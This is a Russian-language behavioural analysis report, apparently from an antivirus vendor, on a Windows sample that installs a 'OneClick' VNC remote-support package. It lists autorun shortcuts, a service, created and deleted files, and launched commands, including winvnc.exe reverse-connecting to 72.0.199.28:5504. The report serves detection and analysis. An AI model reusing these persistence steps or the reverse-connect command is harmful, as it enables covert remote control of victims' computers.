Техническая информация
Для обеспечения автозапуска и распространения:
Создает или изменяет следующие файлы:
- %ALLUSERSPROFILE%\Start Menu\Programs\Startup\1Click.lnk
Создает следующие сервисы:
- [<HKLM>\SYSTEM\ControlSet001\Services\OneClick] 'Start' = '00000002'
Вредоносные функции:
Создает и запускает на исполнение:
- 'C:\1c894\OCserv.exe' -i
- '%TEMP%\nsn4.tmp\ns9.tmp' "C:\1c894\OCserv.exe" -i
- 'C:\1c894\1Click.exe'
- 'C:\1c894\winvnc.exe' -connect 72.0.199.28:5504 -noregistry
- 'C:\1c894\OCserv.exe'
- '%TEMP%\nsn4.tmp\nsA.tmp' "net.exe" start OneClick
- '%TEMP%\nsn4.tmp\ns8.tmp' "sc.exe" delete OneClick
- 'C:\1c894\OCserv.exe' -k OneClick
- '%TEMP%\nsn4.tmp\ns5.tmp' "C:\1c894\OCserv.exe" -k OneClick
- '%TEMP%\7zS1.tmp\WebGetS.exe' /3
- 'C:\1c894\OCserv.exe' -u
- '%TEMP%\nsn4.tmp\ns7.tmp' "C:\1c894\OCserv.exe" -u
- '%TEMP%\nsn4.tmp\ns6.tmp' "net.exe" stop OneClick
Запускает на исполнение:
- '<SYSTEM32>\sc.exe' delete OneClick
- '<SYSTEM32>\net1.exe' start OneClick
- '<SYSTEM32>\net.exe' stop OneClick
- '<SYSTEM32>\net1.exe' stop OneClick
Изменения в файловой системе:
Создает следующие файлы:
- C:\1c894\Goodbye.vbs
- C:\1c894\1Click.exe
- C:\1c894\OneClick.ini
- C:\1c894\Tools.url
- C:\1c894\boot.ico
- C:\1c894\OCserv.exe
- %ALLUSERSPROFILE%\Start Menu\Tools.url
- C:\1c894\winvnc.exe
- C:\1c894\background.bmp
- C:\1c894\logo.bmp
- C:\1c894\vnchooks.dll
- C:\1c894\rePaper.exe
- C:\1c894\1cReCall.exe
- C:\1c894\Reboot.txt
- %TEMP%\nsn4.tmp\ns8.tmp
- %TEMP%\nsn4.tmp\ns7.tmp
- %TEMP%\nsn4.tmp\ns6.tmp
- %TEMP%\nsn4.tmp\ns9.tmp
- %ALLUSERSPROFILE%\Start Menu\System Boot Configuration.lnk
- C:\1c894\SysCfg.lnk
- %TEMP%\nsn4.tmp\nsA.tmp
- %ALLUSERSPROFILE%\Start Menu\Stop Remote Support.lnk
- C:\1c894\OCserv.ini
- C:\1c894\Uninst.exe
- %ALLUSERSPROFILE%\Start Menu\1cToolBox.lnk
- C:\1c894\OCserv.log
- %TEMP%\nsn4.tmp\ns5.tmp
- %TEMP%\nsn4.tmp\nsExec.dll
- %TEMP%\7zS1.tmp\splash.bmp
- %TEMP%\7zS1.tmp\Reboot.txt
- %TEMP%\7zS1.tmp\OneClick.ini
- %TEMP%\7zS1.tmp\Startup.txt
- %TEMP%\7zS1.tmp\1Click.exe
- %TEMP%\7zS1.tmp\Tools.url
- %TEMP%\7zS1.tmp\stop.ico
- %TEMP%\7zS1.tmp\Goodbye.vbs
- %TEMP%\7zS1.tmp\boot.ico
- %TEMP%\7zS1.tmp\background.bmp
- %TEMP%\7zS1.tmp\helpdesk.txt
- %TEMP%\7zS1.tmp\logo.bmp
- %TEMP%\7zS1.tmp\icon2.ico
- %TEMP%\7zS1.tmp\icon1.ico
- %TEMP%\7zS1.tmp\rePaper.exe
- %TEMP%\7zS1.tmp\1cReCall.exe
- %TEMP%\7zS1.tmp\OCserv.exe
- C:\1c894\Advantig.Lic
- C:\1c894\icon2.ico
- C:\1c894\icon1.ico
- C:\1c894\stop.ico
- %TEMP%\7zS1.tmp\WebGetS.exe
- %TEMP%\7zS1.tmp\winvnc.exe
- %TEMP%\7zS1.tmp\vnchooks.dll
- %TEMP%\nsh3.tmp
- %TEMP%\nsn4.tmp\Splash.dll
- %TEMP%\nsn4.tmp\default.bmp
- %TEMP%\7zS1.tmp\Advantig.Lic
Удаляет следующие файлы:
- %TEMP%\7zS1.tmp\OCserv.exe
- %TEMP%\7zS1.tmp\OneClick.ini
- %TEMP%\7zS1.tmp\Reboot.txt
- %TEMP%\7zS1.tmp\logo.bmp
- %TEMP%\7zS1.tmp\Goodbye.vbs
- %TEMP%\7zS1.tmp\icon1.ico
- %TEMP%\7zS1.tmp\icon2.ico
- %TEMP%\7zS1.tmp\rePaper.exe
- %TEMP%\7zS1.tmp\vnchooks.dll
- %TEMP%\7zS1.tmp\WebGetS.exe
- %TEMP%\7zS1.tmp\winvnc.exe
- %TEMP%\7zS1.tmp\Tools.url
- %TEMP%\7zS1.tmp\splash.bmp
- %TEMP%\7zS1.tmp\Startup.txt
- %TEMP%\7zS1.tmp\stop.ico
- %TEMP%\nsn4.tmp\ns8.tmp
- %TEMP%\nsn4.tmp\ns9.tmp
- %TEMP%\nsn4.tmp\nsA.tmp
- %TEMP%\nsn4.tmp\ns7.tmp
- %TEMP%\7zS1.tmp\helpdesk.txt
- %TEMP%\nsn4.tmp\ns5.tmp
- %TEMP%\nsn4.tmp\ns6.tmp
- %TEMP%\nsn4.tmp\default.bmp
- %TEMP%\7zS1.tmp\Advantig.Lic
- %TEMP%\7zS1.tmp\background.bmp
- %TEMP%\7zS1.tmp\boot.ico
- %TEMP%\7zS1.tmp\1cReCall.exe
- %TEMP%\nsn4.tmp\nsExec.dll
- %TEMP%\nsn4.tmp\Splash.dll
- %TEMP%\7zS1.tmp\1Click.exe
Сетевая активность:
Подключается к:
- '72.#.199.28':5504
Другое:
Ищет следующие окна:
- ClassName: 'SysListView32' WindowName: '(null)'
- ClassName: 'WinVNC SC Tray Icon' WindowName: '(null)'
- ClassName: 'Shell_TrayWnd' WindowName: '(null)'
- ClassName: '#32770' WindowName: '(null)'
